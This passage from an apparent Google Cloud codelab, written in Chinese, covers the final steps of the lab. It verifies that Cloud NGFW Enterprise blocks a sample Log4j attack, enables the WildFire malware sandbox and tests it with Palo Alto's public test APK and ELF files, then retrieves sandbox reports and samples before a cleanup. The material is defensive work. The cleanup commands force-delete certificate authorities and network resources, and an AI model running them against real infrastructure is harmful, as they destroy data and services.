curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

您不會收到任何回應 (如下方的預期輸出內容所示),這表示系統現在會封鎖東西向的範例攻擊。

13. Logging

透過 Cloud 控制台前往「Logging」>「Logs Explorer」,輸入下方篩選器並查詢記錄。將 [PROJECT_ID] 替換為您的 project_id:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Cloud NGFW Enterprise 記錄項目應如下所示:

5b68cc1063c0f4bd.png

展開記錄項目,您會發現系統已識別並封鎖從用戶端 VM 傳送至伺服器的攻擊 (如下方螢幕截圖所示,Apache Log4j 遠端程式碼執行安全漏洞)。

478f18f8481e90ed.png

您已成功部署 Cloud NGFW Enterprise,並啟用 TLS 檢查功能來封鎖惡意要求。

請前往下一節,視需要設定及驗證進階惡意軟體沙箱 (WildFire),或直接跳到清理步驟。

14. [選用] 設定進階惡意軟體沙箱 (WildFire)

進階惡意軟體沙箱 (WildFire) 可檢查傳輸中的檔案,並將不明檔案提交至雲端式沙箱 (採用 Palo Alto Networks Advanced WildFire 技術),進行深入的行為分析,進一步強化 Cloud NGFW Enterprise 的威脅防護功能。

接受進階惡意軟體沙箱使用者授權協議

在防火牆端點啟用進階惡意軟體沙箱前,您必須先查看並接受計費專案 ($billing_project) 的一次性使用者授權協議 (EULA)。您只能在 Google Cloud 控制台接受 EULA:依序前往「網路安全」>「防火牆端點」,編輯 $prefix-$zone 端點,在「進階設定」下方選取「啟用進階惡意軟體沙箱 (WildFire)」,然後點選「同意並繼續」。

在防火牆端點啟用進階惡意軟體沙箱

使用 gcloud network-security firewall-endpoints update,在現有的 $prefix-$zone 防火牆端點啟用進階惡意軟體沙箱:

gcloud network-security firewall-endpoints update $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project \
  --enable-wildfire \
  --no-async

確認防火牆端點已啟用進階惡意軟體沙箱:

gcloud network-security firewall-endpoints describe $prefix-$zone \
  --organization $org_id \
  --zone $zone

預期輸出內容 (驗證 wildfireSettings: enabled: true 和 state: ACTIVE):

associatedNetworks:
- projects/$project_number/global/networks/$prefix-vpc
associations:
- name: projects/$project_number/locations/$zone/firewallEndpointAssociations/$prefix-association
  network: projects/$project_number/global/networks/$prefix-vpc
billingProjectId: $billing_project
createTime: '2023-11-16T04:27:17.677731831Z'
endpointSettings:
  contentCloudRegion: US_CENTRAL
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T05:15:12.104829104Z'
wildfireSettings:
  enabled: true
  wildfireRegion: UNITED_STATES

建立及設定 WILDFIRE_ANALYSIS 安全性設定檔

建立名為 $prefix-sp-wildfire 的進階惡意軟體沙箱 (WILDFIRE_ANALYSIS) 安全性設定檔:

gcloud network-security security-profiles wildfire-analysis \
  create $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

預期輸出內容:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be created...done.

接著,新增非同步提交規則,在上傳和下載方向 (--direction=BOTH) 提交 APK 檔案:

gcloud network-security security-profiles wildfire-analysis \
  add-submission-rule $prefix-sp-wildfire \
  --organization $org_id \
  --location=global \
  --file-types=APK \
  --direction=BOTH

預期輸出內容:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be updated...done.

檢查已設定的 WILDFIRE_ANALYSIS 安全性設定檔:

gcloud network-security security-profiles wildfire-analysis \
  describe $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

預期輸出內容:

createTime: '2026-02-20T23:56:26.279556627Z'
etag: S5I9SG6PfLz9g9wDqESHaqVwguOWmZhtlxC6-6HNbv4
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
type: WILDFIRE_ANALYSIS
updateTime: '2026-02-20T23:56:33.791742652Z'
wildfireAnalysisProfile:
  wildfireInlineMlSetting: {}
  wildfireSubmissionRules:
  - customFileTypes:
      fileTypes:
      - APK
    direction: BOTH
    fileSelectionMode: CUSTOM_FILE_TYPES

更新安全性設定檔群組 ($prefix-spg)

更新 $prefix-spg 以附加 $prefix-sp-wildfire:

gcloud network-security security-profile-groups update $prefix-spg \
  --organization $org_id \
  --location=global \
  --wildfire-analysis-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire

預期輸出內容:

Waiting for security-profile-group [organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg] to be updated...done.

防火牆政策規則 900 (EGRESS 優先於 tcp:443,具有 --action=apply_security_profile_group 和 --tls-inspect) 已參照 $prefix-spg,因此從 $prefix-$zone-client 啟動的加密 HTTPS 檔案下載作業,會自動由 TLS 檢查解密,並由進階惡意軟體沙箱評估,不需變更任何防火牆政策規則。

15. [選用] 驗證進階惡意軟體沙箱檔案提交和鑑識

測試非同步沙箱提交和檔案類型篩選

透過 Identity-Aware Proxy (IAP) 連線至用戶端 VM ($prefix-$zone-client):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

從用戶端 VM 透過 HTTPS 下載 Palo Alto Networks 公開測試 APK 檔案:

curl -o /tmp/wildfire-test.apk https://wildfire.paloaltonetworks.com/publicapi/test/apk --max-time 15

接著,透過 HTTPS 下載 Palo Alto Networks 公開測試 ELF 檔案:

curl -o /tmp/wildfire-test.elf https://wildfire.paloaltonetworks.com/publicapi/test/elf --max-time 15

由於 $prefix-sp-wildfire 中的提交規則僅指定 APK 檔案 (--file-types=APK),因此防火牆「不會」將 ELF 檔案提交至進階惡意軟體沙箱。

退出用戶端 VM 終端機,返回 Cloud Shell。

在 Cloud Logging 中驗證 WildfireSubmissionLog

透過 Cloud 控制台前往「Logging」>「Logs Explorer」,輸入下方篩選器並查詢記錄。將 [PROJECT_ID] 替換為您的 project_id:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_wildfire"

沙箱分析完成後 (通常在幾分鐘內),APK 檔案下載會顯示 WildfireSubmissionLog 項目,而 ELF 檔案下載則「不會」產生提交記錄 (如果幾分鐘後未顯示任何記錄項目,請等待 15 分鐘的安全設定檔群組傳播時間結束,然後重新執行 curl 下載)。展開記錄項目,您會發現其 JSON 酬載與下方類似:

{
  "insertId": "3xim62fg6n786",
  "jsonPayload": {
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.WildfireSubmissionLog",
    "action": "ALLOW",
    "connection": {
      "clientIp": "10.0.0.2",
      "clientPort": 37142,
      "protocol": "tcp",
      "serverIp": "104.199.115.54",
      "serverPort": 443
    },
    "interceptInstance": {
      "projectId": "$project_id",
      "vm": "ngfw-enterprise-$zone-client"
    },
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "ngfw-enterprise-vpc"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "ngfw-enterprise-spg"
    },
    "wildfireDetails": {
      "detectionTime": "2026-10-16T20:29:44Z",
      "direction": "SERVER_TO_CLIENT",
      "file": "wildfire-test-apk-file.apk",
      "fileType": "APK",
      "hash": "A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "repeatCount": 1,
      "reportUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireReports/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "sampleUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireSamples/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "severity": "[SEVERITY]",
      "subtype": "WILDFIRE",
      "verdict": "[VERDICT]"
    }
  },
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_wildfire",
  "receiveTimestamp": "2026-10-16T20:29:57.880438600Z",
  "resource": {
    "labels": {
      "id": "ngfw-enterprise-$zone",
      "location": "$zone",
      "resource_container": "organizations/$org_id"
    },
    "type": "networksecurity.googleapis.com/FirewallEndpoint"
  },
  "timestamp": "2026-10-16T20:29:57.880438600Z"
}

請注意 wildfireDetails 中的重要欄位:

  • fileType: "APK" 和 subtype: "WILDFIRE" 確認 APK 傳輸的非同步沙箱分析。
  • file 是伺服器提供的檔案名稱 (wildfire-test-apk-file.apk),可能與 curl -o 使用的本機檔案名稱不同。
  • hash 是測試樣本的專屬 SHA-256 摘要。
  • verdict 和 severity 是由沙箱分析決定。
  • reportUri 和 sampleUri 提供直接連結,可擷取動態分析報告和提交的樣本。

查看提交內容並下載鑑識構件

透過 Cloud 控制台,依序前往「網路安全性」>「NGFW Enterprise 記錄」>「進階惡意軟體沙箱提交內容」,然後選取專案。按一下 wildfire-test-apk-file.apk 項目,即可查看提交詳細資料,包括檔案 SHA-256 雜湊、判定結果和防火牆端點。在提交項目的「更多動作」中,選取「下載分析報告」即可下載 PDF 動態分析報告,選取「下載惡意軟體樣本」則可下載提交的檔案。

或者,您也可以使用 WildfireSubmissionLog 項目中的 reportUri 和 sampleUri 值,從 Cloud Shell 下載分析報告和範例:

export report_uri="<REPORT_URI_FROM_LOG>"
export sample_uri="<SAMPLE_URI_FROM_LOG>"

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$report_uri" -o wildfire-report.pdf

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$sample_uri" -o wildfire-sample.bin

16. 清除步驟

基本設定清理

移除執行個體:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

如果 tagAdmin 和 tagUsers 角色已變更,請按照下列步驟操作:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

移除標記鍵和值:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

移除 Cloud Firewall 網路政策和關聯:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

刪除 Cloud Router 和 Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

刪除預留的 IP 位址:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG、關聯和 TLS 清理

依序刪除安全性設定檔群組和安全性設定檔 (如果您已完成選用的進階惡意軟體沙箱部分,請在刪除 $prefix-spg 後,也執行刪除 $prefix-sp-wildfire 的指令):

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles wildfire-analysis \
  delete $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

刪除 Cloud Firewall 端點關聯:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

刪除 Cloud Firewall 端點,這項作業可能需要約 20 分鐘:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

(選用) 執行下列指令,確認 Cloud NGFW 端點已刪除:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

端點狀態應顯示:

STATE: DELETING

完成後,端點就不會再列出。

請按照下列順序刪除 TLS 政策和信任設定:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

停用並刪除根 CA 和 CA 集區:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

清理子網路和虛擬私有雲

最後,刪除子網路和虛擬私有雲網路:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

17. 恭喜!

恭喜,您已成功完成「Cloud NGFW Enterprise 適用於東西向和北向 TLS 檢查」程式碼實驗室。